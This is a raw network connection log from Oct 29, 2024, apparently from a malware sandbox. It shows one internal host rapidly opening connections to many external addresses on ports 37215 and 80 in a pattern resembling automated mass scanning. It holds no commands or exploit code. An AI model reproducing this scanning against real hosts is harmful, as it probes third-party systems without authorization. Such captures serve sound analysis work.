Oct 29, 2024 20:52:39.425398111 CET	37215	40220	197.24.63.62	192.168.2.13
Oct 29, 2024 20:52:39.425460100 CET	43810	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:39.425462961 CET	55790	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:39.425487041 CET	40220	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:39.425595045 CET	43810	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:39.425612926 CET	40220	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:39.425625086 CET	55790	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:39.425653934 CET	43810	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:39.425676107 CET	40220	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:39.425682068 CET	55790	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:39.426057100 CET	37215	34946	197.203.107.151	192.168.2.13
Oct 29, 2024 20:52:39.426156044 CET	34946	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:39.426156044 CET	34946	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:39.426192045 CET	34946	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:39.431982040 CET	37215	43810	197.244.69.115	192.168.2.13
Oct 29, 2024 20:52:39.432007074 CET	37215	40220	197.24.63.62	192.168.2.13
Oct 29, 2024 20:52:39.432012081 CET	37215	55790	197.117.170.246	192.168.2.13
Oct 29, 2024 20:52:39.432640076 CET	37215	34946	197.203.107.151	192.168.2.13
Oct 29, 2024 20:52:39.438993931 CET	37215	48156	197.186.244.5	192.168.2.13
Oct 29, 2024 20:52:39.439357042 CET	37215	48656	197.74.194.72	192.168.2.13
Oct 29, 2024 20:52:39.451167107 CET	56454	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:39.451189041 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:39.451212883 CET	45558	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:39.451214075 CET	44124	37215	192.168.2.13	197.189.116.196
Oct 29, 2024 20:52:39.451224089 CET	51244	37215	192.168.2.13	197.118.218.145
Oct 29, 2024 20:52:39.451226950 CET	54800	37215	192.168.2.13	197.56.207.94
Oct 29, 2024 20:52:39.451230049 CET	47242	37215	192.168.2.13	197.88.156.31
Oct 29, 2024 20:52:39.451235056 CET	59934	37215	192.168.2.13	197.188.51.144
Oct 29, 2024 20:52:39.451235056 CET	45012	37215	192.168.2.13	197.101.26.3
Oct 29, 2024 20:52:39.451251030 CET	59872	37215	192.168.2.13	197.128.24.21
Oct 29, 2024 20:52:39.451258898 CET	56188	37215	192.168.2.13	197.79.154.24
Oct 29, 2024 20:52:39.451258898 CET	42450	37215	192.168.2.13	197.15.25.206
Oct 29, 2024 20:52:39.451260090 CET	45702	37215	192.168.2.13	197.251.185.207
Oct 29, 2024 20:52:39.451260090 CET	39402	37215	192.168.2.13	197.50.200.236
Oct 29, 2024 20:52:39.451258898 CET	51848	37215	192.168.2.13	197.180.225.224
Oct 29, 2024 20:52:39.451260090 CET	50172	37215	192.168.2.13	197.126.50.179
Oct 29, 2024 20:52:39.451280117 CET	34030	37215	192.168.2.13	197.123.0.26
Oct 29, 2024 20:52:39.451280117 CET	49584	37215	192.168.2.13	197.237.179.83
Oct 29, 2024 20:52:39.451282024 CET	48616	37215	192.168.2.13	197.203.175.209
Oct 29, 2024 20:52:39.451282024 CET	55738	37215	192.168.2.13	197.111.74.126
Oct 29, 2024 20:52:39.451287031 CET	53868	37215	192.168.2.13	197.179.219.102
Oct 29, 2024 20:52:39.451292038 CET	59926	37215	192.168.2.13	197.150.216.3
Oct 29, 2024 20:52:39.451293945 CET	40180	37215	192.168.2.13	197.44.48.43
Oct 29, 2024 20:52:39.456449986 CET	37215	56454	197.203.244.146	192.168.2.13
Oct 29, 2024 20:52:39.456532955 CET	37215	49382	197.231.175.200	192.168.2.13
Oct 29, 2024 20:52:39.456533909 CET	56454	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:39.456538916 CET	37215	45558	197.55.81.16	192.168.2.13
Oct 29, 2024 20:52:39.456584930 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:39.456617117 CET	45558	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:39.456619978 CET	56454	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:39.456665039 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:39.456676960 CET	56454	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:39.456680059 CET	45558	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:39.456710100 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:39.456741095 CET	45558	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:39.462116957 CET	37215	56454	197.203.244.146	192.168.2.13
Oct 29, 2024 20:52:39.462122917 CET	37215	49382	197.231.175.200	192.168.2.13
Oct 29, 2024 20:52:39.462898016 CET	37215	45558	197.55.81.16	192.168.2.13
Oct 29, 2024 20:52:39.475123882 CET	37215	34946	197.203.107.151	192.168.2.13
Oct 29, 2024 20:52:39.475132942 CET	37215	55790	197.117.170.246	192.168.2.13
Oct 29, 2024 20:52:39.475145102 CET	37215	40220	197.24.63.62	192.168.2.13
Oct 29, 2024 20:52:39.475150108 CET	37215	43810	197.244.69.115	192.168.2.13
Oct 29, 2024 20:52:39.503081083 CET	37215	45558	197.55.81.16	192.168.2.13
Oct 29, 2024 20:52:39.503087997 CET	37215	49382	197.231.175.200	192.168.2.13
Oct 29, 2024 20:52:39.503098011 CET	37215	56454	197.203.244.146	192.168.2.13
Oct 29, 2024 20:52:39.750546932 CET	80	45028	95.96.124.119	192.168.2.13
Oct 29, 2024 20:52:39.750807047 CET	45028	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:39.807774067 CET	80	59352	95.101.23.87	192.168.2.13
Oct 29, 2024 20:52:39.808670998 CET	59352	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:40.059226990 CET	53194	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:40.059231997 CET	53766	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.059233904 CET	36986	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:40.059242010 CET	51972	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:40.059251070 CET	57316	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:40.059251070 CET	52208	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:40.059251070 CET	51178	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:40.059254885 CET	33372	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:40.059272051 CET	41538	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:40.059273005 CET	60300	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:40.059273005 CET	39006	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:40.059273005 CET	41366	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:40.064902067 CET	80	36986	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:40.064918995 CET	80	53766	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:40.064930916 CET	80	53194	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:40.064954996 CET	80	51972	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:40.064965963 CET	80	41538	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:40.064977884 CET	80	57316	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:40.064987898 CET	80	60300	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:40.065002918 CET	80	39006	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:40.065022945 CET	36986	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:40.065027952 CET	53766	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.065030098 CET	53194	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:40.065032005 CET	80	33372	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:40.065037012 CET	51972	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:40.065037966 CET	41538	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:40.065040112 CET	57316	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:40.065043926 CET	80	52208	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:40.065051079 CET	60300	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:40.065051079 CET	39006	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:40.065057993 CET	80	51178	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:40.065082073 CET	52208	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:40.065083981 CET	33372	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:40.065100908 CET	51178	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:40.065332890 CET	56350	80	192.168.2.13	95.172.11.191
Oct 29, 2024 20:52:40.065359116 CET	56350	80	192.168.2.13	95.123.51.199
Oct 29, 2024 20:52:40.065377951 CET	56350	80	192.168.2.13	95.214.6.60
Oct 29, 2024 20:52:40.065409899 CET	56350	80	192.168.2.13	95.111.251.73
Oct 29, 2024 20:52:40.065423012 CET	56350	80	192.168.2.13	95.137.109.67
Oct 29, 2024 20:52:40.065424919 CET	56350	80	192.168.2.13	95.190.161.147
Oct 29, 2024 20:52:40.065433979 CET	56350	80	192.168.2.13	95.171.84.229
Oct 29, 2024 20:52:40.065448046 CET	56350	80	192.168.2.13	95.147.168.59
Oct 29, 2024 20:52:40.065466881 CET	56350	80	192.168.2.13	95.41.128.110
Oct 29, 2024 20:52:40.065470934 CET	56350	80	192.168.2.13	95.151.64.214
Oct 29, 2024 20:52:40.065495014 CET	56350	80	192.168.2.13	95.3.187.201
Oct 29, 2024 20:52:40.065504074 CET	56350	80	192.168.2.13	95.47.75.65
Oct 29, 2024 20:52:40.065534115 CET	56350	80	192.168.2.13	95.13.194.222
Oct 29, 2024 20:52:40.065563917 CET	56350	80	192.168.2.13	95.201.145.47
Oct 29, 2024 20:52:40.065572023 CET	56350	80	192.168.2.13	95.105.26.75
Oct 29, 2024 20:52:40.065579891 CET	56350	80	192.168.2.13	95.216.214.218
Oct 29, 2024 20:52:40.065596104 CET	56350	80	192.168.2.13	95.35.191.28
Oct 29, 2024 20:52:40.065603971 CET	56350	80	192.168.2.13	95.131.184.189
Oct 29, 2024 20:52:40.065625906 CET	56350	80	192.168.2.13	95.155.236.13
Oct 29, 2024 20:52:40.065639019 CET	56350	80	192.168.2.13	95.223.101.219
Oct 29, 2024 20:52:40.065649986 CET	56350	80	192.168.2.13	95.62.229.202
Oct 29, 2024 20:52:40.065663099 CET	56350	80	192.168.2.13	95.32.40.244
Oct 29, 2024 20:52:40.065697908 CET	56350	80	192.168.2.13	95.247.230.192
Oct 29, 2024 20:52:40.065718889 CET	56350	80	192.168.2.13	95.87.197.22
Oct 29, 2024 20:52:40.065728903 CET	56350	80	192.168.2.13	95.184.74.81
Oct 29, 2024 20:52:40.065742016 CET	56350	80	192.168.2.13	95.11.211.52
Oct 29, 2024 20:52:40.065753937 CET	56350	80	192.168.2.13	95.238.212.154
Oct 29, 2024 20:52:40.065776110 CET	56350	80	192.168.2.13	95.192.144.240
Oct 29, 2024 20:52:40.065804958 CET	56350	80	192.168.2.13	95.180.93.9
Oct 29, 2024 20:52:40.065804958 CET	56350	80	192.168.2.13	95.155.187.39
Oct 29, 2024 20:52:40.065817118 CET	56350	80	192.168.2.13	95.209.14.88
Oct 29, 2024 20:52:40.065834045 CET	56350	80	192.168.2.13	95.164.147.2
Oct 29, 2024 20:52:40.065859079 CET	56350	80	192.168.2.13	95.43.199.169
Oct 29, 2024 20:52:40.065871954 CET	56350	80	192.168.2.13	95.247.165.219
Oct 29, 2024 20:52:40.065902948 CET	56350	80	192.168.2.13	95.172.61.12
Oct 29, 2024 20:52:40.065928936 CET	56350	80	192.168.2.13	95.253.232.255
Oct 29, 2024 20:52:40.065948009 CET	56350	80	192.168.2.13	95.11.242.205
Oct 29, 2024 20:52:40.066004038 CET	80	41366	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:40.066015005 CET	56350	80	192.168.2.13	95.34.87.227
Oct 29, 2024 20:52:40.066019058 CET	56350	80	192.168.2.13	95.130.127.163
Oct 29, 2024 20:52:40.066034079 CET	56350	80	192.168.2.13	95.220.183.207
Oct 29, 2024 20:52:40.066035986 CET	41366	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:40.066078901 CET	56350	80	192.168.2.13	95.178.143.199
Oct 29, 2024 20:52:40.066092014 CET	56350	80	192.168.2.13	95.24.57.105
Oct 29, 2024 20:52:40.066092014 CET	56350	80	192.168.2.13	95.14.125.53
Oct 29, 2024 20:52:40.066121101 CET	56350	80	192.168.2.13	95.211.212.15
Oct 29, 2024 20:52:40.066145897 CET	56350	80	192.168.2.13	95.201.185.116
Oct 29, 2024 20:52:40.066154003 CET	56350	80	192.168.2.13	95.111.9.237
Oct 29, 2024 20:52:40.066191912 CET	56350	80	192.168.2.13	95.172.70.110
Oct 29, 2024 20:52:40.066215038 CET	56350	80	192.168.2.13	95.45.177.28
Oct 29, 2024 20:52:40.066215992 CET	56350	80	192.168.2.13	95.22.98.1
Oct 29, 2024 20:52:40.066226006 CET	56350	80	192.168.2.13	95.100.252.26
Oct 29, 2024 20:52:40.066246033 CET	56350	80	192.168.2.13	95.26.91.56
Oct 29, 2024 20:52:40.066262960 CET	56350	80	192.168.2.13	95.64.119.234
Oct 29, 2024 20:52:40.066288948 CET	56350	80	192.168.2.13	95.135.100.255
Oct 29, 2024 20:52:40.066318035 CET	56350	80	192.168.2.13	95.186.217.18
Oct 29, 2024 20:52:40.066319942 CET	56350	80	192.168.2.13	95.197.241.251
Oct 29, 2024 20:52:40.066333055 CET	56350	80	192.168.2.13	95.55.4.84
Oct 29, 2024 20:52:40.066344976 CET	56350	80	192.168.2.13	95.241.252.11
Oct 29, 2024 20:52:40.066354036 CET	56350	80	192.168.2.13	95.24.66.8
Oct 29, 2024 20:52:40.066373110 CET	56350	80	192.168.2.13	95.238.119.74
Oct 29, 2024 20:52:40.066390038 CET	56350	80	192.168.2.13	95.168.163.104
Oct 29, 2024 20:52:40.066396952 CET	56350	80	192.168.2.13	95.67.26.80
Oct 29, 2024 20:52:40.066426039 CET	56350	80	192.168.2.13	95.159.83.77
Oct 29, 2024 20:52:40.066435099 CET	56350	80	192.168.2.13	95.201.58.217
Oct 29, 2024 20:52:40.066453934 CET	56350	80	192.168.2.13	95.129.93.161
Oct 29, 2024 20:52:40.066467047 CET	56350	80	192.168.2.13	95.39.79.112
Oct 29, 2024 20:52:40.066477060 CET	56350	80	192.168.2.13	95.145.239.196
Oct 29, 2024 20:52:40.066504955 CET	56350	80	192.168.2.13	95.122.11.115
Oct 29, 2024 20:52:40.066514015 CET	56350	80	192.168.2.13	95.124.180.60
Oct 29, 2024 20:52:40.066545010 CET	56350	80	192.168.2.13	95.72.89.230
Oct 29, 2024 20:52:40.066551924 CET	56350	80	192.168.2.13	95.37.187.50
Oct 29, 2024 20:52:40.066556931 CET	56350	80	192.168.2.13	95.134.142.78
Oct 29, 2024 20:52:40.066572905 CET	56350	80	192.168.2.13	95.13.121.184
Oct 29, 2024 20:52:40.066586971 CET	56350	80	192.168.2.13	95.40.123.167
Oct 29, 2024 20:52:40.066603899 CET	56350	80	192.168.2.13	95.123.150.12
Oct 29, 2024 20:52:40.066615105 CET	56350	80	192.168.2.13	95.106.80.52
Oct 29, 2024 20:52:40.066626072 CET	56350	80	192.168.2.13	95.48.213.120
Oct 29, 2024 20:52:40.066658020 CET	56350	80	192.168.2.13	95.175.248.225
Oct 29, 2024 20:52:40.066665888 CET	56350	80	192.168.2.13	95.36.12.173
Oct 29, 2024 20:52:40.066679955 CET	56350	80	192.168.2.13	95.86.101.2
Oct 29, 2024 20:52:40.066706896 CET	56350	80	192.168.2.13	95.107.89.3
Oct 29, 2024 20:52:40.066715002 CET	56350	80	192.168.2.13	95.151.5.48
Oct 29, 2024 20:52:40.066729069 CET	56350	80	192.168.2.13	95.114.130.43
Oct 29, 2024 20:52:40.066749096 CET	56350	80	192.168.2.13	95.189.15.23
Oct 29, 2024 20:52:40.066765070 CET	56350	80	192.168.2.13	95.185.53.152
Oct 29, 2024 20:52:40.066782951 CET	56350	80	192.168.2.13	95.86.94.168
Oct 29, 2024 20:52:40.066790104 CET	56350	80	192.168.2.13	95.62.60.213
Oct 29, 2024 20:52:40.066814899 CET	56350	80	192.168.2.13	95.2.34.173
Oct 29, 2024 20:52:40.066824913 CET	56350	80	192.168.2.13	95.178.222.182
Oct 29, 2024 20:52:40.066854954 CET	56350	80	192.168.2.13	95.71.51.204
Oct 29, 2024 20:52:40.066854954 CET	56350	80	192.168.2.13	95.239.195.242
Oct 29, 2024 20:52:40.066867113 CET	56350	80	192.168.2.13	95.8.249.43
Oct 29, 2024 20:52:40.066881895 CET	56350	80	192.168.2.13	95.203.76.55
Oct 29, 2024 20:52:40.066890955 CET	56350	80	192.168.2.13	95.80.178.130
Oct 29, 2024 20:52:40.066910028 CET	56350	80	192.168.2.13	95.75.198.195
Oct 29, 2024 20:52:40.066927910 CET	56350	80	192.168.2.13	95.245.195.233
Oct 29, 2024 20:52:40.066945076 CET	56350	80	192.168.2.13	95.194.21.140
Oct 29, 2024 20:52:40.066952944 CET	56350	80	192.168.2.13	95.44.31.171
Oct 29, 2024 20:52:40.066965103 CET	56350	80	192.168.2.13	95.80.104.15
Oct 29, 2024 20:52:40.066989899 CET	56350	80	192.168.2.13	95.95.109.33
Oct 29, 2024 20:52:40.067001104 CET	56350	80	192.168.2.13	95.249.69.63
Oct 29, 2024 20:52:40.067044973 CET	56350	80	192.168.2.13	95.22.24.24
Oct 29, 2024 20:52:40.067059040 CET	56350	80	192.168.2.13	95.19.196.220
Oct 29, 2024 20:52:40.067073107 CET	56350	80	192.168.2.13	95.51.231.108
Oct 29, 2024 20:52:40.067075014 CET	56350	80	192.168.2.13	95.189.78.182
Oct 29, 2024 20:52:40.067080975 CET	56350	80	192.168.2.13	95.157.44.204
Oct 29, 2024 20:52:40.067094088 CET	56350	80	192.168.2.13	95.94.248.183
Oct 29, 2024 20:52:40.067121983 CET	56350	80	192.168.2.13	95.228.225.199
Oct 29, 2024 20:52:40.067122936 CET	56350	80	192.168.2.13	95.229.218.202
Oct 29, 2024 20:52:40.067157984 CET	56350	80	192.168.2.13	95.104.203.148
Oct 29, 2024 20:52:40.067173958 CET	56350	80	192.168.2.13	95.55.225.216
Oct 29, 2024 20:52:40.067190886 CET	56350	80	192.168.2.13	95.148.154.71
Oct 29, 2024 20:52:40.067195892 CET	56350	80	192.168.2.13	95.62.233.2
Oct 29, 2024 20:52:40.067218065 CET	56350	80	192.168.2.13	95.82.170.233
Oct 29, 2024 20:52:40.067248106 CET	56350	80	192.168.2.13	95.34.189.86
Oct 29, 2024 20:52:40.067253113 CET	56350	80	192.168.2.13	95.11.220.106
Oct 29, 2024 20:52:40.067277908 CET	56350	80	192.168.2.13	95.27.124.124
Oct 29, 2024 20:52:40.067296982 CET	56350	80	192.168.2.13	95.219.47.47
Oct 29, 2024 20:52:40.067326069 CET	56350	80	192.168.2.13	95.131.95.84
Oct 29, 2024 20:52:40.067339897 CET	56350	80	192.168.2.13	95.22.187.3
Oct 29, 2024 20:52:40.067356110 CET	56350	80	192.168.2.13	95.233.222.76
Oct 29, 2024 20:52:40.067365885 CET	56350	80	192.168.2.13	95.135.169.127
Oct 29, 2024 20:52:40.067385912 CET	56350	80	192.168.2.13	95.93.144.161
Oct 29, 2024 20:52:40.067394018 CET	56350	80	192.168.2.13	95.11.23.252
Oct 29, 2024 20:52:40.067406893 CET	56350	80	192.168.2.13	95.81.143.44
Oct 29, 2024 20:52:40.067419052 CET	56350	80	192.168.2.13	95.52.53.56
Oct 29, 2024 20:52:40.067449093 CET	56350	80	192.168.2.13	95.52.189.78
Oct 29, 2024 20:52:40.067466021 CET	56350	80	192.168.2.13	95.107.81.126
Oct 29, 2024 20:52:40.067487001 CET	56350	80	192.168.2.13	95.186.56.147
Oct 29, 2024 20:52:40.067542076 CET	56350	80	192.168.2.13	95.119.173.45
Oct 29, 2024 20:52:40.067544937 CET	56350	80	192.168.2.13	95.32.195.14
Oct 29, 2024 20:52:40.067559004 CET	56350	80	192.168.2.13	95.100.231.43
Oct 29, 2024 20:52:40.067579031 CET	56350	80	192.168.2.13	95.12.160.134
Oct 29, 2024 20:52:40.067594051 CET	56350	80	192.168.2.13	95.153.173.197
Oct 29, 2024 20:52:40.067605972 CET	56350	80	192.168.2.13	95.15.176.55
Oct 29, 2024 20:52:40.067621946 CET	56350	80	192.168.2.13	95.245.4.152
Oct 29, 2024 20:52:40.067635059 CET	56350	80	192.168.2.13	95.59.163.59
Oct 29, 2024 20:52:40.067647934 CET	56350	80	192.168.2.13	95.199.180.228
Oct 29, 2024 20:52:40.067662001 CET	56350	80	192.168.2.13	95.86.246.140
Oct 29, 2024 20:52:40.067673922 CET	56350	80	192.168.2.13	95.141.212.163
Oct 29, 2024 20:52:40.067692995 CET	56350	80	192.168.2.13	95.234.246.69
Oct 29, 2024 20:52:40.067709923 CET	56350	80	192.168.2.13	95.150.102.170
Oct 29, 2024 20:52:40.067748070 CET	56350	80	192.168.2.13	95.252.201.72
Oct 29, 2024 20:52:40.067759037 CET	56350	80	192.168.2.13	95.153.147.160
Oct 29, 2024 20:52:40.067775965 CET	56350	80	192.168.2.13	95.65.203.69
Oct 29, 2024 20:52:40.067775965 CET	56350	80	192.168.2.13	95.55.241.113
Oct 29, 2024 20:52:40.067804098 CET	56350	80	192.168.2.13	95.160.189.213
Oct 29, 2024 20:52:40.067826986 CET	56350	80	192.168.2.13	95.172.227.201
Oct 29, 2024 20:52:40.067836046 CET	56350	80	192.168.2.13	95.52.61.141
Oct 29, 2024 20:52:40.067843914 CET	56350	80	192.168.2.13	95.138.185.217
Oct 29, 2024 20:52:40.067854881 CET	56350	80	192.168.2.13	95.250.52.217
Oct 29, 2024 20:52:40.067878962 CET	56350	80	192.168.2.13	95.102.133.110
Oct 29, 2024 20:52:40.067892075 CET	56350	80	192.168.2.13	95.56.228.172
Oct 29, 2024 20:52:40.067908049 CET	56350	80	192.168.2.13	95.71.119.133
Oct 29, 2024 20:52:40.067913055 CET	56350	80	192.168.2.13	95.19.195.205
Oct 29, 2024 20:52:40.067940950 CET	56350	80	192.168.2.13	95.255.169.25
Oct 29, 2024 20:52:40.067946911 CET	56350	80	192.168.2.13	95.225.86.58
Oct 29, 2024 20:52:40.067969084 CET	56350	80	192.168.2.13	95.2.26.62
Oct 29, 2024 20:52:40.067981005 CET	56350	80	192.168.2.13	95.139.122.76
Oct 29, 2024 20:52:40.068021059 CET	56350	80	192.168.2.13	95.191.75.142
Oct 29, 2024 20:52:40.068038940 CET	56350	80	192.168.2.13	95.16.110.191
Oct 29, 2024 20:52:40.068089008 CET	51178	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:40.068089008 CET	51178	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:40.068629026 CET	51482	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:40.069037914 CET	39006	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:40.069037914 CET	39006	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:40.069386005 CET	39310	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:40.069791079 CET	60300	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:40.069791079 CET	60300	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:40.070115089 CET	60602	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:40.070554972 CET	51972	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:40.070554972 CET	51972	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:40.070878029 CET	52274	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:40.071043968 CET	80	56350	95.172.11.191	192.168.2.13
Oct 29, 2024 20:52:40.071058989 CET	80	56350	95.123.51.199	192.168.2.13
Oct 29, 2024 20:52:40.071078062 CET	80	56350	95.214.6.60	192.168.2.13
Oct 29, 2024 20:52:40.071091890 CET	80	56350	95.111.251.73	192.168.2.13
Oct 29, 2024 20:52:40.071101904 CET	56350	80	192.168.2.13	95.172.11.191
Oct 29, 2024 20:52:40.071101904 CET	80	56350	95.190.161.147	192.168.2.13
Oct 29, 2024 20:52:40.071105003 CET	56350	80	192.168.2.13	95.123.51.199
Oct 29, 2024 20:52:40.071114063 CET	80	56350	95.137.109.67	192.168.2.13
Oct 29, 2024 20:52:40.071125031 CET	80	56350	95.171.84.229	192.168.2.13
Oct 29, 2024 20:52:40.071127892 CET	56350	80	192.168.2.13	95.214.6.60
Oct 29, 2024 20:52:40.071132898 CET	56350	80	192.168.2.13	95.111.251.73
Oct 29, 2024 20:52:40.071136951 CET	80	56350	95.147.168.59	192.168.2.13
Oct 29, 2024 20:52:40.071139097 CET	56350	80	192.168.2.13	95.190.161.147
Oct 29, 2024 20:52:40.071147919 CET	80	56350	95.41.128.110	192.168.2.13
Oct 29, 2024 20:52:40.071161032 CET	80	56350	95.151.64.214	192.168.2.13
Oct 29, 2024 20:52:40.071171045 CET	56350	80	192.168.2.13	95.147.168.59
Oct 29, 2024 20:52:40.071171999 CET	80	56350	95.3.187.201	192.168.2.13
Oct 29, 2024 20:52:40.071183920 CET	80	56350	95.47.75.65	192.168.2.13
Oct 29, 2024 20:52:40.071188927 CET	56350	80	192.168.2.13	95.41.128.110
Oct 29, 2024 20:52:40.071192026 CET	56350	80	192.168.2.13	95.137.109.67
Oct 29, 2024 20:52:40.071193933 CET	56350	80	192.168.2.13	95.171.84.229
Oct 29, 2024 20:52:40.071201086 CET	56350	80	192.168.2.13	95.151.64.214
Oct 29, 2024 20:52:40.071208000 CET	80	56350	95.13.194.222	192.168.2.13
Oct 29, 2024 20:52:40.071227074 CET	56350	80	192.168.2.13	95.47.75.65
Oct 29, 2024 20:52:40.071244001 CET	56350	80	192.168.2.13	95.13.194.222
Oct 29, 2024 20:52:40.071264982 CET	56350	80	192.168.2.13	95.3.187.201
Oct 29, 2024 20:52:40.071391106 CET	80	56350	95.201.145.47	192.168.2.13
Oct 29, 2024 20:52:40.071403980 CET	36986	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:40.071403027 CET	80	56350	95.105.26.75	192.168.2.13
Oct 29, 2024 20:52:40.071429968 CET	56350	80	192.168.2.13	95.201.145.47
Oct 29, 2024 20:52:40.071439981 CET	80	56350	95.216.214.218	192.168.2.13
Oct 29, 2024 20:52:40.071445942 CET	56350	80	192.168.2.13	95.105.26.75
Oct 29, 2024 20:52:40.071449995 CET	80	56350	95.35.191.28	192.168.2.13
Oct 29, 2024 20:52:40.071454048 CET	36986	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:40.071463108 CET	80	56350	95.131.184.189	192.168.2.13
Oct 29, 2024 20:52:40.071485996 CET	80	56350	95.155.236.13	192.168.2.13
Oct 29, 2024 20:52:40.071492910 CET	80	56350	95.223.101.219	192.168.2.13
Oct 29, 2024 20:52:40.071496964 CET	56350	80	192.168.2.13	95.35.191.28
Oct 29, 2024 20:52:40.071500063 CET	56350	80	192.168.2.13	95.216.214.218
Oct 29, 2024 20:52:40.071500063 CET	80	56350	95.62.229.202	192.168.2.13
Oct 29, 2024 20:52:40.071501970 CET	56350	80	192.168.2.13	95.131.184.189
Oct 29, 2024 20:52:40.071508884 CET	80	56350	95.32.40.244	192.168.2.13
Oct 29, 2024 20:52:40.071516037 CET	80	56350	95.247.230.192	192.168.2.13
Oct 29, 2024 20:52:40.071517944 CET	80	56350	95.87.197.22	192.168.2.13
Oct 29, 2024 20:52:40.071525097 CET	80	56350	95.184.74.81	192.168.2.13
Oct 29, 2024 20:52:40.071525097 CET	56350	80	192.168.2.13	95.223.101.219
Oct 29, 2024 20:52:40.071531057 CET	56350	80	192.168.2.13	95.155.236.13
Oct 29, 2024 20:52:40.071531057 CET	80	56350	95.11.211.52	192.168.2.13
Oct 29, 2024 20:52:40.071536064 CET	56350	80	192.168.2.13	95.62.229.202
Oct 29, 2024 20:52:40.071537971 CET	80	56350	95.238.212.154	192.168.2.13
Oct 29, 2024 20:52:40.071541071 CET	80	56350	95.192.144.240	192.168.2.13
Oct 29, 2024 20:52:40.071542978 CET	56350	80	192.168.2.13	95.247.230.192
Oct 29, 2024 20:52:40.071547031 CET	80	56350	95.180.93.9	192.168.2.13
Oct 29, 2024 20:52:40.071547031 CET	56350	80	192.168.2.13	95.87.197.22
Oct 29, 2024 20:52:40.071548939 CET	80	56350	95.155.187.39	192.168.2.13
Oct 29, 2024 20:52:40.071549892 CET	56350	80	192.168.2.13	95.32.40.244
Oct 29, 2024 20:52:40.071551085 CET	80	56350	95.209.14.88	192.168.2.13
Oct 29, 2024 20:52:40.071552992 CET	80	56350	95.164.147.2	192.168.2.13
Oct 29, 2024 20:52:40.071561098 CET	56350	80	192.168.2.13	95.184.74.81
Oct 29, 2024 20:52:40.071568966 CET	56350	80	192.168.2.13	95.11.211.52
Oct 29, 2024 20:52:40.071577072 CET	56350	80	192.168.2.13	95.238.212.154
Oct 29, 2024 20:52:40.071578979 CET	56350	80	192.168.2.13	95.209.14.88
